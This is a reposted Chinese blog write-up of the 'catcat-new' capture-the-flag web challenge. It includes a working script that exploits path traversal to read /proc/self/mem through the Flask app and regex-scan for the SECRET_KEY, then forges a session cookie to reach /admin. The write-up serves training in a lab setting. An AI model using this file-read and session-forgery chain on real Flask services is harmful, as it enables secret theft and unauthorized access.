0


攻防世界-WEB-catcat-new

前言

..................

开干


正文

信息收集

有意思

估计是权限不够导致无法访问

我们点击几只小猫看看有什么东西

好的,?File=

试试看是否存在任意文件读取


思路

成功,接下来我们尝试获取历史记录

这里补充一下知识点

/proc/self
proc是一个伪文件系统,它提供了内核数据结构的接口。内核数据是在程序运行时存储在内部半导体存储器中数据。通过/proc/PID可以访问对应PID的进程内核数据,而/proc/self访问的是当前进程的内核数据

/proc/self/cmdline
该文件包含的内容为当前进程执行的命令行参数

/proc/self/mem
/proc/self/mem是当前进程的内存内容,通过修改该文件相当于直接修改当前进程的内存数据。但是注意该文件不能直接读取,因为文件中存在着一些无法读取的未被映射区域。所以要结合/proc/self/maps中的偏移地址进行读取。通过参数start和end及偏移地址值读取内容

/proc/self/maps
/proc/self/maps包含的内容是当前进程的内存映射关系,可通过读取该文件来得到内存数据映射的地址

我们尝试访问app.py

那就能够确定该站是用flask框架搭建的站点

格式化一下

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat 
flag = ""
app = Flask(
    __name__,
    static_url_path='/',
    static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
    detailtxt = os.listdir('./details/')
    cats_list = []
    for i in detailtxt:
        cats_list.append(i[:i.index('.')])

    return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route('/info', methods=["GET", 'POST'])
def info():
    filename = "./details/" + request.args.get('file', "")
    start = request.args.get('start', "0")
    end = request.args.get('end', "0")
    name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

    return render_template("detail.html", catname=name, info=cat(filename, start, end))

@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

if __name__ == '__main__':
    app.run(host='0.0.0.0', debug=False, port=5637)

着重于关键处

if os.path.isfile("/flag"):
    flag = cat("/flag")
    os.remove("/flag")
@app.route('/admin', methods=["GET"])
def admin_can_list_root():
    if session.get('admin') == 1:
        return flag
    else:
        session['admin'] = 0
        return "NoNoNo"

第一段我们确定了flag,第二段我们知道了/admin确实有做限制,只有当session获取admin=1时才能获取flag

又因为flask存在session可以被伪造的问题,所以我们接下来要做的就是伪造session从而获取flag

讲一讲这方面的知识点

这位师傅的文章讲的挺详细的

Flask之session伪造_flask session伪造-CSDN博客


总之,伪造session最重要的前提是需要得到secret_key,我们可以从app.py中了解到secret_key的格式

app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"

然后我们还能够发现这个网页存在任意文件读取的原理

@app.route('/', methods=['GET'])
def index():
 detailtxt = os.listdir('./details/') # 使用os.listdir()获取'details/'目录下的所有文件名
 cats_list = []
 for i in detailtxt:# 遍历所有文件名
   cats_list.append(i[:i.index('.')])# 截取文件名直到遇到第一个'.'(即去除扩展名),并添加到cats_list中

 return render_template("index.html", cats_list=cats_list, cat=cat)

@app.route('/info', methods=["GET", 'POST'])
def info():
 filename = "./details/" + request.args.get('file', "")# 获取URL查询参数'file'的值,并拼接成完整文件路径
 start = request.args.get('start', "0")# 获取URL查询参数'start'的值,如果没有提供,则默认为"0"
 end = request.args.get('end', "0")# 同上,获取'end'参数的值
 name = request.args.get('file', "")[:request.args.get('file', "").index('.')]# 提取文件名(不包括扩展名)

 return render_template("detail.html", catname=name, info=cat(filename, start, end))

好的,不难发现,这里request有三个参数:start,end,file 还有调用cat方法

cat则是cat.py的东西

import os, sys, getopt

def cat(filename, start=0, end=0) -> bytes:
    data = b''

    try:
        start = int(start)
        end = int(end)

    except:
        start = 0
        end = 0

    if filename != "" and os.access(filename, os.R_OK):
        f = open(filename, "rb")

        if start >= 0:
            f.seek(start)
            if end >= start and end != 0:
                data = f.read(end - start)

            else:
                data = f.read()

        else:
            data = f.read()

        f.close()

    else:
        data = ("File `%s` not exist or can not be read" % filename).encode()

    return data

if __name__ == '__main__':
    opts, args = getopt.getopt(sys.argv[1:], '-h-f:-s:-e:', ['help', 'file=', 'start=', 'end='])
    fileName = ""
    start = 0
    end = 0

    for opt_name, opt_value in opts:
        if opt_name == '-h' or opt_name == '--help':
            print("[*] Help")
            print("-f --file   File name")
            print("-s --start   Start position")
            print("-e --end   End position")
            print("[*] Example of reading /etc/passwd")
            print("python3 cat.py -f /etc/passwd")
            print("python3 cat.py --file /etc/passwd")
            print("python3 cat.py -f /etc/passwd -s 1")
            print("python3 cat.py -f /etc/passwd -e 5")
            print("python3 cat.py -f /etc/passwd -s 1 -e 5")
            exit()

        elif opt_name == '-f' or opt_name == '--file':
            fileName = opt_value

        elif opt_name == '-s' or opt_name == '--start':
            start = opt_value

        elif opt_name == '-e' or opt_name == '--end':
            end = opt_value

    if fileName != "":
        print(cat(fileName, start, end))

    else:
        print("No file to read")

这个脚本主要功能就是文件读取,比如有一个1.txt,里面的内容有:12345678

使用python cay.py -f /路径/1.txt -s 1 -e 5,就会得到12345

不过这些并不能帮助我们找到secretkey,只是提供了可以利用的地方


对这方面熟悉的师傅们都知道,SECRET_KEY 并不存储在 session 数据中而是存储在服务器的内存中,作为 Flask 应用配置的一部分。这意味着,只要应用正在运行,SECRET_KEY 就会在内存中可用

但是我们直接访问**/proc/self/mem是不可能的,所以我们直接访问/proc/self/maps**获取可读内容的内存映射

好的,接下来把内容格式化存储一下

然后写个脚本获取堆栈分布

import re

maps = open('/路径/proc.txt')
for line in maps:
    a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)#本来用的findall,但是后面的start和end定义太麻烦了
    if a:
        start = int(a.group(1), 16)
        end = int(a.group(2), 16)
        print(f'addr:{start}-{end}')

接下来就可以直接读取mem对应位置的数据了

因为app.py定义了start和end,所以我们完全可以利用这一点

import requests
import re

maps = open('/路径/proc.txt')
for line in maps:
    a = re.match('([0-9a-f]+)-([0-9a-f]+) rw', line)
    if a:
        start = int(a.group(1), 16)
        end = int(a.group(2), 16)
        print(f'addr:{start}-{end}')
        url = f"http://61.147.171.105:52267/info?file=../../../../proc/self/mem&start={start}&end={end}"
        b = requests.get(url)
        re1 = re.findall("[a-z0-9]{32}\*abcdefgh", b.text)#这里根据app.py中得出
        if re1:
            print(re1)


secret_key得到,接下来利用工具进行伪造

这里推荐

https://github.com/noraj/flask-session-cookie-manager/releases/tag/v1.2.1.1

我们先抓包随便拿一个session,然后放里面解密

然后使{'admin':1}

然后

成功


结尾

不难,但是很麻烦

求赞求关注,感谢

MQ4的其他文章:

BugKu-WEB-unserialize-Noteasy-CSDN博客

攻防世界-WEB-filemanager-CSDN博客

BugKu-new_php_bugku newphp-CSDN博客

标签: linux 运维 服务器

本文转载自: https://blog.csdn.net/m0_52061428/article/details/140062927
版权归原作者 MQ4 所有, 如有侵权,请联系我们删除。

“攻防世界-WEB-catcat-new”的评论:

还没有评论